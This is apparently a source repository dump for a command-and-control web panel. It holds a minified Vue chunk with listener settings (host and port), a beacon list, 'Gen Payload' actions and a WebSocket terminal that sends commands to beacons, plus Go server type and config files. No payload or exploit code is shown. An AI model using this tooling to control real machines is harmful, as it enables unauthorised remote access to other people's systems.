1 | (function(e){function t(t){for(var a,c,s=t[0],u=t[1],i=t[2],l=0,b=[];l0;(o>>>=1)&&(t+=t))1&o&&(n+=t);return n}},1276:function(e,t,n){"use strict";var a=n("d784"),i=n("44e7"),r=n("825a"),o=n("1d80"),s=n("4840"),c=n("8aa5"),u=n("50c4"),l=n("577e"),d=n("14c3"),h=n("9263"),f=n("9f7f"),b=n("d039"),p=f.UNSUPPORTED_Y,v=[].push,O=Math.min,m=4294967295,g=!b((function(){var e=/(?:)/,t=e.exec;e.exec=function(){return t.apply(this,arguments)};var n="ab".split(e);return 2!==n.length||"a"!==n[0]||"b"!==n[1]}));a("split",(function(e,t,n){var a;return a="c"=="abbc".split(/(b)*/)[1]||4!="test".split(/(?:)/,-1).length||2!="ab".split(/(?:ab)*/).length||4!=".".split(/(.?)(.?)/).length||".".split(/()()/).length>1||"".split(/.?/).length?function(e,n){var a=l(o(this)),r=void 0===n?m:n>>>0;if(0===r)return[];if(void 0===e)return[a];if(!i(e))return t.call(a,e,r);var s,c,u,d=[],f=(e.ignoreCase?"i":"")+(e.multiline?"m":"")+(e.unicode?"u":"")+(e.sticky?"y":""),b=0,p=new RegExp(e.source,f+"g");while(s=h.call(p,a)){if(c=p.lastIndex,c>b&&(d.push(a.slice(b,s.index)),s.length>1&&s.index=r))break;p.lastIndex===s.index&&p.lastIndex++}return b===a.length?!u&&p.test("")||d.push(""):d.push(a.slice(b)),d.length>r?d.slice(0,r):d}:"0".split(void 0,0).length?function(e,n){return void 0===e&&0===n?[]:t.call(this,e,n)}:t,[function(t,n){var i=o(this),r=void 0==t?void 0:t[e];return void 0!==r?r.call(t,i,n):a.call(l(i),t,n)},function(e,i){var o=r(this),h=l(e),f=n(a,o,h,i,a!==t);if(f.done)return f.value;var b=s(o,RegExp),v=o.unicode,g=(o.ignoreCase?"i":"")+(o.multiline?"m":"")+(o.unicode?"u":"")+(p?"g":"y"),j=new b(p?"^(?:"+o.source+")":o,g),y=void 0===i?m:i>>>0;if(0===y)return[];if(0===h.length)return null===d(j,h)?[h]:[];var w=0,C=0,x=[];while(C=s.length)c=s.length;else c+=1,null===(v=i.value)||void 0===v||v.write(e);break;case _.CRTL_C:null===(l=i.value)||void 0===l||l.write(e);break;default:null===(d=i.value)||void 0===d||d.write(e+b+"\b".repeat(b.length)),s=f+e+b,c+=1}u=e,console.log("left part",f,"righ part",b)})))},d=function(e){e.length<=0||(r.value&&r.value.close(),r.value=new WebSocket(e),r.value.onopen=function(e){var n;(console.log("Connected to server"),f("Connected to server"),r.value)&&(r.value.send(JSON.stringify({type:"auth",data:t.state.user.accessToken})),r.value.send(JSON.stringify({type:"cmd",data:"\n"})),null===(n=i.value)||void 0===n||n.setOption("disableStdin",!1))},r.value.onmessage=function(e){var t,n=JSON.parse(e.data);switch(n.type){case M.DEBUG:console.log("shData debug",n.data);break;case M.CMD:switch(u){case _.UP:s=n.data,c=s.length;break;case _.DOWN:s=n.data,c=s.length;break;case _.ENETER:s="",c=0;break}null===(t=i.value)||void 0===t||t.write(n.data);break;case M.ERROR:h(n.data);break}},r.value.onclose=function(e){var t;console.log("Connection Closed"),null===(t=i.value)||void 0===t||t.setOption("cursorBlink",!1),h("Connection Closed")},r.value.onerror=function(e){console.log("Failed")})},h=function(e){Object(L["a"])(e,{showIcon:!0,position:"bottom-right",hideProgressBar:!0,type:"danger"})},f=function(e){Object(L["a"])(e,{showIcon:!0,position:"bottom-right",hideProgressBar:!0,type:"success"})};return Object(a["U"])((function(){return e.targetUrl}),(function(e,t){console.log("listener changed: old ".concat(t," new ").concat(e)),d(e)})),Object(a["B"])((function(){d(e.targetUrl),l()})),Object(a["C"])((function(){r.value&&r.value.close()})),{term:n,terminal:i,startTerminal:l}},methods:{}});n("83f5");D.render=P,D.__scopeId="data-v-57689eda";var U=D;function I(e,t,n,i,r,o){var s=Object(a["N"])("edit-outlined"),c=Object(a["N"])("a-input"),u=Object(a["N"])("a-form-item"),l=Object(a["N"])("input-number"),d=Object(a["N"])("a-form"),h=Object(a["N"])("a-modal");return Object(a["E"])(),Object(a["l"])("div",null,[Object(a["o"])(s,{onClick:e.showModal},null,8,["onClick"]),Object(a["o"])(h,{title:"Title",visible:e.visible,"onUpdate:visible":t[3]||(t[3]=function(t){return e.visible=t}),"confirm-loading":e.confirmLoading,onOk:e.handleSumbit},{default:Object(a["W"])((function(){return[Object(a["o"])(d,{model:e.formState},{default:Object(a["W"])((function(){return[Object(a["o"])(u,{label:"Listener name"},{default:Object(a["W"])((function(){return[Object(a["o"])(c,{value:e.formState.name,"onUpdate:value":t[0]||(t[0]=function(t){return e.formState.name=t})},null,8,["value"])]})),_:1}),Object(a["o"])(u,{label:"Listener host"},{default:Object(a["W"])((function(){return[Object(a["o"])(c,{value:e.formState.lhost,"onUpdate:value":t[1]||(t[1]=function(t){return e.formState.lhost=t})},null,8,["value"])]})),_:1}),Object(a["o"])(u,{label:"Listener port"},{default:Object(a["W"])((function(){return[Object(a["o"])(l,{value:e.formState.lport,"onUpdate:value":t[2]||(t[2]=function(t){return e.formState.lport=t}),"default-value":0,min:0,max:65535},null,8,["value"])]})),_:1})]})),_:1},8,["model"])]})),_:1},8,["visible","confirm-loading","onOk"])])}n("b550"),n("08c9");var F=n("5530"),W=n("ade3"),$=n("c31d"),H=n("4d91"),K=n("1d6f"),J=n("1d19"),z=n("4f82"),G=n("35c8"),q=n("b488"),Y=n("18a7"),X=n("7b05"),Q=n("6a21"),Z={disabled:H["a"].looseBool,activeClassName:H["a"].string,activeStyle:H["a"].any},ee=n("c4ec"),te=Object(a["p"])({name:"TouchFeedback",mixins:[q["a"]],inheritAttrs:!1,props:Object(K["n"])(Z,{disabled:!1}),data:function(){return this.child=null,{active:!1}},mounted:function(){var e=this;this.$nextTick((function(){e.disabled&&e.active&&e.setState({active:!1})}))},methods:{triggerEvent:function(e,t,n){var a="on".concat(e),i=this.child;i.props[a]&&i.props[a](n),t!==this.active&&this.setState({active:t})},onTouchStart:function(e){this.triggerEvent("Touchstart",!0,e)},onTouchMove:function(e){this.triggerEvent("Touchmove",!1,e)},onTouchEnd:function(e){this.triggerEvent("Touchend",!1,e)},onTouchCancel:function(e){this.triggerEvent("Touchcancel",!1,e)},onMouseDown:function(e){this.triggerEvent("Mousedown",!0,e)},onMouseUp:function(e){this.triggerEvent("Mouseup",!1,e)},onMouseLeave:function(e){this.triggerEvent("Mouseleave",!1,e)}},render:function(){var e,t=this.$props,n=t.disabled,a=t.activeClassName,i=void 0===a?"":a,r=t.activeStyle,o=void 0===r?{}:r,s=Object(K["k"])(this);if(1!==s.length)return Object(Q["a"])(!1,"m-feedback组件只能包含一个子元素"),null;var c=n?void 0:(e={},Object(W["a"])(e,ee["a"]?"onTouchstartPassive":"onTouchstart",this.onTouchStart),Object(W["a"])(e,ee["a"]?"onTouchmovePassive":"onTouchmove",this.onTouchMove),Object(W["a"])(e,"onTouchend",this.onTouchEnd),Object(W["a"])(e,"onTouchcancel",this.onTouchCancel),Object(W["a"])(e,"onMousedown",this.onMouseDown),Object(W["a"])(e,"onMouseup",this.onMouseUp),Object(W["a"])(e,"onMouseleave",this.onMouseLeave),e);if(s=s[0],this.child=s,!n&&this.active){var u=s.props,l=u.style,d=u.class;return!1!==o&&(o&&(l=Object($["a"])(Object($["a"])({},l),o)),d=Object(J["a"])(d,i)),Object(X["a"])(s,Object($["a"])({class:d,style:l},c))}return Object(X["a"])(s,c)}}),ne=te,ae={name:"InputHandler",inheritAttrs:!1,props:{prefixCls:H["a"].string,disabled:H["a"].looseBool},render:function(){var e=this,t=this.$props,n=t.prefixCls,i=t.disabled,r={disabled:i,activeClassName:"".concat(n,"-handler-active")};return Object(a["o"])(ne,r,{default:function(){return[Object(a["o"])("span",e.$attrs,[Object(K["k"])(e)])]}})}},ie=ae;function re(e){e.preventDefault()}function oe(e){return e.replace(/[^\w\.-]+/g,"")}var se=200,ce=600,ue=Number.MAX_SAFE_INTEGER||Math.pow(2,53)-1,le=function(e){return void 0!==e&&null!==e},de=function(e,t){return t===e||"number"===typeof t&&"number"===typeof e&&isNaN(t)&&isNaN(e)},he={value:H["a"].oneOfType([H["a"].number,H["a"].string]),defaultValue:H["a"].oneOfType([H["a"].number,H["a"].string]),focusOnUpDown:H["a"].looseBool,autofocus:H["a"].looseBool,prefixCls:H["a"].string,tabindex:H["a"].oneOfType([H["a"].string,H["a"].number]),placeholder:H["a"].string,disabled:H["a"].looseBool,readonly:H["a"].looseBool,max:H["a"].number,min:H["a"].number,step:H["a"].oneOfType([H["a"].number,H["a"].string]),upHandler:H["a"].any,downHandler:H["a"].any,useTouch:H["a"].looseBool,formatter:H["a"].func,parser:H["a"].func,precision:H["a"].number,required:H["a"].looseBool,pattern:H["a"].string,decimalSeparator:H["a"].string,autocomplete:H["a"].string,title:H["a"].string,name:H["a"].string,id:H["a"].string,type:H["a"].string,maxlength:H["a"].any},fe=Object(a["p"])({name:"VCInputNumber",mixins:[q["a"]],inheritAttrs:!1,props:Object(K["n"])(he,{focusOnUpDown:!0,useTouch:!1,prefixCls:"rc-input-number",min:-ue,step:1,parser:oe,required:!1,autocomplete:"off"}),data:function(){var e,t=Object(K["h"])(this);this.prevProps=Object($["a"])({},t),e="value"in t?this.value:this.defaultValue;var n=this.getValidValue(this.toNumber(e));return{inputValue:this.toPrecisionAsStep(n),sValue:n,focused:this.autofocus}},mounted:function(){var e=this;this.$nextTick((function(){e.updatedFunc()}))},updated:function(){var e=this,t=this.$props,n=t.value,a=t.max,i=t.min,r=this.$data.focused,o=this.prevProps,s=Object(K["h"])(this);if(o){if(!de(o.value,n)||!de(o.max,a)||!de(o.min,i)){var c,u=r?n:this.getValidValue(n);c=this.pressingUpOrDown?u:this.inputting?this.rawInput:this.toPrecisionAsStep(u),this.setState({sValue:u,inputValue:c})}var l="value"in s?n:this.$data.sValue;"max"in s&&o.max!==a&&"number"===typeof l&&l>a&&(this.__emit("update:value",a),this.__emit("change",a)),"min"in s&&o.min!==i&&"number"===typeof l&&l1?a-1:0),r=1;r1?t-1:0),a=1;a1&&void 0!==arguments[1]?arguments[1]:this.min,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:this.max,a=parseFloat(e,10);return isNaN(a)?e:(an&&(a=n),a)},setValue:function(e,t){var n=this.$props.precision,a=this.isNotCompleteNumber(parseFloat(e,10))?null:parseFloat(e,10),i=this.$data,r=i.sValue,o=void 0===r?null:r,s=i.inputValue,c=void 0===s?null:s,u="number"===typeof a?a.toFixed(n):"".concat(a),l=a!==o||u!=="".concat(c);return Object(K["m"])(this,"value")?this.setState({inputValue:this.toPrecisionAsStep(this.$data.sValue)},t):this.setState({sValue:a,inputValue:this.toPrecisionAsStep(e)},t),l&&(this.__emit("update:value",a),this.__emit("change",a)),a},getPrecision:function(e){if(le(this.precision))return this.precision;var t=e.toString();if(t.indexOf("e-")>=0)return parseInt(t.slice(t.indexOf("e-")+2),10);var n=0;return t.indexOf(".")>=0&&(n=t.length-t.indexOf(".")-1),n},getMaxPrecision:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1;if(le(this.precision))return this.precision;var n=this.step,a=this.getPrecision(t),i=this.getPrecision(n),r=this.getPrecision(e);return e?Math.max(r,a+i):a+i},getPrecisionFactor:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,n=this.getMaxPrecision(e,t);return Math.pow(10,n)},getInputDisplayValue:function(e){var t,n=e||this.$data,a=n.focused,i=n.inputValue,r=n.sValue;t=a?i:this.toPrecisionAsStep(r),void 0!==t&&null!==t||(t="");var o=this.formatWrapper(t);return le(this.$props.decimalSeparator)&&(o=o.toString().replace(".",this.$props.decimalSeparator)),o},recordCursorPosition:function(){try{var e=this.inputRef;this.cursorStart=e.selectionStart,this.cursorEnd=e.selectionEnd,this.currentValue=e.value,this.cursorBefore=e.value.substring(0,this.cursorStart),this.cursorAfter=e.value.substring(this.cursorEnd)}catch(t){}},fixCaret:function(e,t){if(void 0!==e&&void 0!==t&&this.inputRef&&this.inputRef.value)try{var n=this.inputRef,a=n.selectionStart,i=n.selectionEnd;e===a&&t===i||n.setSelectionRange(e,t)}catch(r){}},restoreByAfter:function(e){if(void 0===e)return!1;var t=this.inputRef.value,n=t.lastIndexOf(e);if(-1===n)return!1;var a=this.cursorBefore.length;return this.lastKeyCode===Y["a"].DELETE&&this.cursorBefore.charAt(a-1)===e[0]?(this.fixCaret(a,a),!0):n+e.length===t.length&&(this.fixCaret(n,n),!0)},partRestoreByAfter:function(e){var t=this;return void 0!==e&&Array.prototype.some.call(e,(function(n,a){var i=e.substring(a);return t.restoreByAfter(i)}))},focus:function(){this.inputRef.focus(),this.recordCursorPosition()},blur:function(){this.inputRef.blur()},formatWrapper:function(e){return this.formatter?this.formatter(e):e},toPrecisionAsStep:function(e){if(this.isNotCompleteNumber(e)||""===e)return e;var t=Math.abs(this.getMaxPrecision(e));return isNaN(t)?e.toString():Number(e).toFixed(t)},isNotCompleteNumber:function(e){return isNaN(e)||""===e||null===e||e&&e.toString().indexOf(".")===e.toString().length-1},toNumber:function(e){var t=this.$props,n=t.precision,a=t.autofocus,i=this.$data.focused,r=void 0===i?a:i,o=e&&e.length>16&&r;return this.isNotCompleteNumber(e)||o?e:le(n)?Math.round(e*Math.pow(10,n))/Math.pow(10,n):Number(e)},upStep:function(e,t){var n=this.step,a=this.getPrecisionFactor(e,t),i=Math.abs(this.getMaxPrecision(e,t)),r=((a*e+a*n*t)/a).toFixed(i);return this.toNumber(r)},downStep:function(e,t){var n=this.step,a=this.getPrecisionFactor(e,t),i=Math.abs(this.getMaxPrecision(e,t)),r=((a*e-a*n*t)/a).toFixed(i);return this.toNumber(r)},stepFn:function(e,t){var n=this,a=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,i=arguments.length>3?arguments[3]:void 0;if(this.stop(),t&&t.preventDefault(),!this.disabled){var r=this.max,o=this.min,s=this.getCurrentValidValue(this.$data.inputValue)||0;if(!this.isNotCompleteNumber(s)){var c=this["".concat(e,"Step")](s,a),u=c>r||cr?c=r:c=this.max&&(h="".concat(n,"-handler-up-disabled")),p<=this.min&&(f="".concat(n,"-handler-down-disabled"))}var v={};for(var O in t)!t.hasOwnProperty(O)||"data-"!==O.substr(0,5)&&"aria-"!==O.substr(0,5)&&"role"!==O||(v[O]=t[O]);var m,g,j,y,w=!this.readonly&&!this.disabled,C=this.getInputDisplayValue();o?(j={},Object(W["a"])(j,ee["a"]?"onTouchstartPassive":"onTouchstart",w&&!h&&this.up),Object(W["a"])(j,"onTouchend",this.stop),m=j,y={},Object(W["a"])(y,ee["a"]?"onTouchstartPassive":"onTouchstart",w&&!f&&this.down),Object(W["a"])(y,"onTouchend",this.stop),g=y):(m={onMousedown:w&&!h&&this.up,onMouseup:this.stop,onMouseleave:this.stop},g={onMousedown:w&&!f&&this.down,onMouseup:this.stop,onMouseleave:this.stop});var x=!!h||i||r,S=!!f||i||r,N=Object($["a"])(Object($["a"])({disabled:x,prefixCls:n,unselectable:"unselectable",role:"button","aria-label":"Increase Value","aria-disabled":!!x,class:"".concat(n,"-handler ").concat(n,"-handler-up ").concat(h)},m),{ref:this.saveUp}),E=Object($["a"])(Object($["a"])({disabled:S,prefixCls:n,unselectable:"unselectable",role:"button","aria-label":"Decrease Value","aria-disabled":!!S,class:"".concat(n,"-handler ").concat(n,"-handler-down ").concat(f)},g),{ref:this.saveDown});return Object(a["o"])("div",{class:d,style:t.style,title:t.title,onMouseenter:t.onMouseenter,onMouseleave:t.onMouseleave,onMouseover:t.onMouseover,onMouseout:t.onMouseout},[Object(a["o"])("div",{class:"".concat(n,"-handler-wrap")},[Object(a["o"])("span",null,[Object(a["o"])(ie,Object(F["a"])(Object(F["a"])({},N),{},{key:"upHandler"}),{default:function(){return[c||Object(a["o"])("span",{unselectable:"unselectable",class:"".concat(n,"-handler-up-inner"),onClick:re},null)]}})]),Object(a["o"])(ie,Object(F["a"])(Object(F["a"])({},E),{},{key:"downHandler"}),{default:function(){return[u||Object(a["o"])("span",{unselectable:"unselectable",class:"".concat(n,"-handler-down-inner"),onClick:re},null)]}})]),Object(a["o"])("div",{class:"".concat(n,"-input-wrap")},[Object(a["o"])("input",Object(F["a"])({role:"spinbutton","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":b,required:this.required,type:t.type,placeholder:this.placeholder,onClick:this.handleInputClick,class:"".concat(n,"-input"),tabindex:this.tabindex,autocomplete:s,onFocus:this.onFocus,onBlur:this.onBlur,onKeydown:w&&this.onKeyDown,onKeyup:w&&this.onKeyUp,autofocus:this.autofocus,maxlength:this.maxlength,readonly:this.readonly,disabled:this.disabled,max:this.max,min:this.min,step:this.step,name:this.name,title:this.title,id:this.id,onInput:this.onTrigger,onCompositionstart:this.onCompositionstart,onCompositionend:this.onCompositionend,ref:this.saveInput,value:C,pattern:this.pattern},v),null)])])}}),be=n("4df5"),pe=n("46b7"),ve=function(e,t){var n={};for(var a in e)Object.prototype.hasOwnProperty.call(e,a)&&t.indexOf(a)<0&&(n[a]=e[a]);if(null!=e&&"function"===typeof Object.getOwnPropertySymbols){var i=0;for(a=Object.getOwnPropertySymbols(e);i5?"geekblue":"green"},{default:Object(a["W"])((function(){return[Object(a["n"])(Object(a["P"])(e.toUpperCase()),1)]})),_:2},1032,["color"])})),128))])]})),action:Object(a["W"])((function(e){var t=e.record;return[Object(a["m"])("span",null,[Object(a["m"])("a",null,"Gen Payload for "+Object(a["P"])(t.name),1),Object(a["o"])(c,{type:"vertical"}),Pe,Object(a["o"])(c,{type:"vertical"}),Object(a["m"])("a",Me,[Re,Object(a["o"])(u)])])]})),_:1},8,["columns","data-source"])}n("1276");var _e=[{dataIndex:"name",key:"name",slots:{title:"customTitle",customRender:"name"}},{title:"Address",dataIndex:"address",key:"address"},{title:"Status",key:"tags",dataIndex:"tags",slots:{customRender:"tags"}},{title:"Action",key:"action",slots:{customRender:"action"}}],Le=Object(a["p"])({props:{listenerList:{type:Array,required:!0}},setup:function(e){return{columns:_e}}});Le.render=Ve;var Ae=Le,Be=Object(a["p"])({components:{Terminal:U,SettingOutlined:O,EllipsisOutlined:m["a"],MailOutlined:x,AddListenerModal:Ee,ListenerTable:Ae},setup:function(){var e=Object(A["c"])(),t=Object(a["J"])(["a"]),n=Object(a["J"])([]),i=Object(a["J"])([]),r=Object(a["J"])(""),o=function(){var e=Object(l["a"])(regeneratorRuntime.mark((function e(){var t,a;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,N();case 2:t=e.sent,console.log(t),n.value=[],t&&(a=t.data.data,a&&a.forEach((function(e){n.value.push({name:e.name,address:"".concat(e.lhost,":").concat(e.lport),tags:[e.closed?"Offline":"Online"]})})));case 6:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();Object(a["U"])((function(){return e.state.billboard.incommingWSData}),(function(e,t){console.log("received ".concat(e)),(null===e||void 0===e?void 0:e.type)===ke["a"].BEACON&&s()}));var s=function(){var e=Object(l["a"])(regeneratorRuntime.mark((function e(){var t,n;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.next=2,k();case 2:t=e.sent,console.log(t),i.value=[],t&&(n=t.data.data,n&&n.forEach((function(e){i.value.push({name:e.name,uuid:e.uuid})})));case 6:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),c=function(e){console.log("beaconBtnHandler ",e);var t=new URL("/api/v1/beacon/ws/",window.location.href);t.protocol=t.protocol.replace("http","ws"),r.value="".concat(t.href,"?name=").concat(e)};return Object(a["B"])((function(){o(),s()})),{listenerList:n,beaconList:i,currentLisenterName:t,currentBeaconTargetUrl:r,beaconBtnHandler:c,genListenerList:o}}});n("487c");Be.render=u,Be.__scopeId="data-v-3daf4eb4";t["default"]=Be}}]);
2 | //# sourceMappingURL=chunk-001789ef.47997a40.js.map
--------------------------------------------------------------------------------
/global/global.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "container/list"
5 |
6 | "sh.ieki.xyz/config"
7 | "sh.ieki.xyz/global/typing"
8 |
9 | oplogging "github.com/op/go-logging"
10 | "github.com/spf13/viper"
11 | "gorm.io/gorm"
12 | )
13 |
14 | var (
15 | SERVER_DB *gorm.DB
16 | SERVER_CONFIG config.Server
17 | SERVER_VP *viper.Viper
18 | SERVER_LOG *oplogging.Logger
19 | SERVER_LISTENER_LIST *list.List
20 | SERVER_BEACON_LIST *list.List
21 | SERVER_WS_HUB typing.HubInterface
22 | )
23 |
--------------------------------------------------------------------------------
/global/response/response.go:
--------------------------------------------------------------------------------
1 | package response
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/gin-gonic/gin"
7 | )
8 |
9 | type Response struct {
10 | Code int `json:"code"`
11 | Data interface{} `json:"data"`
12 | Detail string `json:"detail"`
13 | }
14 |
15 | const (
16 | ERROR = 7
17 | SUCCESS = 0
18 | )
19 |
20 | func Result(statuCode int, code int, data interface{}, detial string, c *gin.Context) {
21 | // 开始时间
22 | c.JSON(statuCode, Response{
23 | code,
24 | data,
25 | detial,
26 | })
27 | }
28 |
29 | func Ok(c *gin.Context) {
30 | Result(http.StatusOK, SUCCESS, map[string]interface{}{}, "success", c)
31 | }
32 |
33 | func OkWithData(statuCode int, data interface{}, c *gin.Context) {
34 | Result(statuCode, SUCCESS, data, "success", c)
35 | }
36 |
37 | func OkWithDetail(detail string, c *gin.Context) {
38 | Result(http.StatusOK, SUCCESS, map[string]interface{}{}, detail, c)
39 | }
40 |
41 | func Fail(statuCode int, c *gin.Context) {
42 | Result(statuCode, ERROR, map[string]interface{}{}, "something wrong", c)
43 | }
44 |
45 | func FailWithDetail(statuscode int, detail string, c *gin.Context) {
46 | Result(statuscode, ERROR, map[string]interface{}{}, detail, c)
47 | }
48 |
49 | func FailWithCodeAndDetail(statuscode int, code int, detail string, c *gin.Context) {
50 | Result(http.StatusInternalServerError, code, map[string]interface{}{}, detail, c)
51 | }
52 |
--------------------------------------------------------------------------------
/global/typing/beacon.go:
--------------------------------------------------------------------------------
1 | package typing
2 |
--------------------------------------------------------------------------------
/global/typing/hub.go:
--------------------------------------------------------------------------------
1 | package typing
2 |
3 | type HubInterface interface {
4 | Construct()
5 | Run()
6 | BroadcastWSData(WSData) error
7 | }
8 |
--------------------------------------------------------------------------------
/global/typing/jwt.go:
--------------------------------------------------------------------------------
1 | package typing
2 |
3 | import (
4 | "github.com/dgrijalva/jwt-go"
5 | )
6 |
7 | // Custom claims structure
8 | type CustomClaims struct {
9 | Name string
10 | jwt.StandardClaims
11 | }
12 |
--------------------------------------------------------------------------------
/global/typing/request.go:
--------------------------------------------------------------------------------
1 | package typing
2 |
3 | type ShData struct {
4 | Type string `json:"type"`
5 | Data string `json:"data"`
6 | }
7 |
8 | type WSData struct {
9 | Timestamp int64 `json:"timestamp"` //消息时间戳
10 | Sender string `json:"sender"` //消息发送者
11 | Type string `json:"type"` //消息种类
12 | Data interface{} `json:"data"` //ws结构化数据
13 | Detail string `json:"detail"` //ws通知消息
14 | }
15 |
16 | type AddListenerRequestStruct struct {
17 | Name string `json:"name" binding:"required"`
18 | LHOST string `json:"lhost" binding:"required"`
19 | LPORT int `json:"lport" binding:"required,gt=0,lt=65536"`
20 | }
21 |
22 | type LoginRequestStruct struct {
23 | Username string `json:"username" binding:"required"`
24 | Password string `json:"password" binding:"required"`
25 | }
26 |
27 | type LoginResponseStruct struct {
28 | Username string `json:"username"`
29 | AccessToken string `json:"accessToken"`
30 | ExpiresAt int64 `json:"expired_at"`
31 | }
32 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module sh.ieki.xyz
2 |
3 | go 1.17
4 |
5 | require (
6 | github.com/fsnotify/fsnotify v1.4.9
7 | github.com/gin-gonic/gin v1.7.4
8 | github.com/lestrrat/go-file-rotatelogs v0.0.0-20180223000712-d3151e2a480f
9 | github.com/op/go-logging v0.0.0-20160315200505-970db520ece7
10 | github.com/spf13/viper v1.8.1
11 | github.com/swaggo/gin-swagger v1.3.1
12 | gorm.io/gorm v1.21.15
13 | )
14 |
15 | require (
16 | github.com/fastly/go-utils v0.0.0-20180712184237-d95a45783239 // indirect
17 | github.com/google/uuid v1.3.0
18 | github.com/gorilla/websocket v1.4.2
19 | github.com/jehiah/go-strftime v0.0.0-20171201141054-1d33003b3869 // indirect
20 | github.com/jonboulle/clockwork v0.2.2 // indirect
21 | github.com/lestrrat/go-envload v0.0.0-20180220120943-6ed08b54a570 // indirect
22 | github.com/lestrrat/go-strftime v0.0.0-20180220042222-ba3bf9c1d042 // indirect
23 | github.com/tebeka/strftime v0.1.5 // indirect
24 | )
25 |
26 | require (
27 | github.com/PuerkitoBio/purell v1.1.0 // indirect
28 | github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect
29 | github.com/dgrijalva/jwt-go v3.2.0+incompatible // indirect
30 | github.com/gin-contrib/sse v0.1.0 // indirect
31 | github.com/go-openapi/jsonpointer v0.17.0 // indirect
32 | github.com/go-openapi/jsonreference v0.19.0 // indirect
33 | github.com/go-openapi/spec v0.19.0 // indirect
34 | github.com/go-openapi/swag v0.17.0 // indirect
35 | github.com/go-playground/locales v0.13.0 // indirect
36 | github.com/go-playground/universal-translator v0.17.0 // indirect
37 | github.com/go-playground/validator/v10 v10.4.1 // indirect
38 | github.com/golang/protobuf v1.5.2 // indirect
39 | github.com/hashicorp/hcl v1.0.0 // indirect
40 | github.com/jinzhu/inflection v1.0.0 // indirect
41 | github.com/jinzhu/now v1.1.2 // indirect
42 | github.com/json-iterator/go v1.1.11 // indirect
43 | github.com/leodido/go-urn v1.2.0 // indirect
44 | github.com/magiconair/properties v1.8.5 // indirect
45 | github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329 // indirect
46 | github.com/mattn/go-isatty v0.0.12 // indirect
47 | github.com/mitchellh/mapstructure v1.4.1 // indirect
48 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
49 | github.com/modern-go/reflect2 v1.0.1 // indirect
50 | github.com/pelletier/go-toml v1.9.3 // indirect
51 | github.com/pkg/errors v0.8.1 // indirect
52 | github.com/spf13/afero v1.6.0 // indirect
53 | github.com/spf13/cast v1.3.1 // indirect
54 | github.com/spf13/jwalterweatherman v1.1.0 // indirect
55 | github.com/spf13/pflag v1.0.5 // indirect
56 | github.com/subosito/gotenv v1.2.0 // indirect
57 | github.com/swaggo/swag v1.5.1 // indirect
58 | github.com/ugorji/go/codec v1.1.13 // indirect
59 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 // indirect
60 | golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 // indirect
61 | golang.org/x/sys v0.0.0-20210510120138-977fb7262007 // indirect
62 | golang.org/x/text v0.3.5 // indirect
63 | golang.org/x/tools v0.1.2 // indirect
64 | google.golang.org/protobuf v1.26.0 // indirect
65 | gopkg.in/ini.v1 v1.62.0 // indirect
66 | gopkg.in/yaml.v2 v2.4.0 // indirect
67 | )
68 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
6 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
7 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
8 | cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
9 | cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
10 | cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
11 | cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
12 | cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
13 | cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
14 | cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
15 | cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
16 | cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
17 | cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
18 | cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=
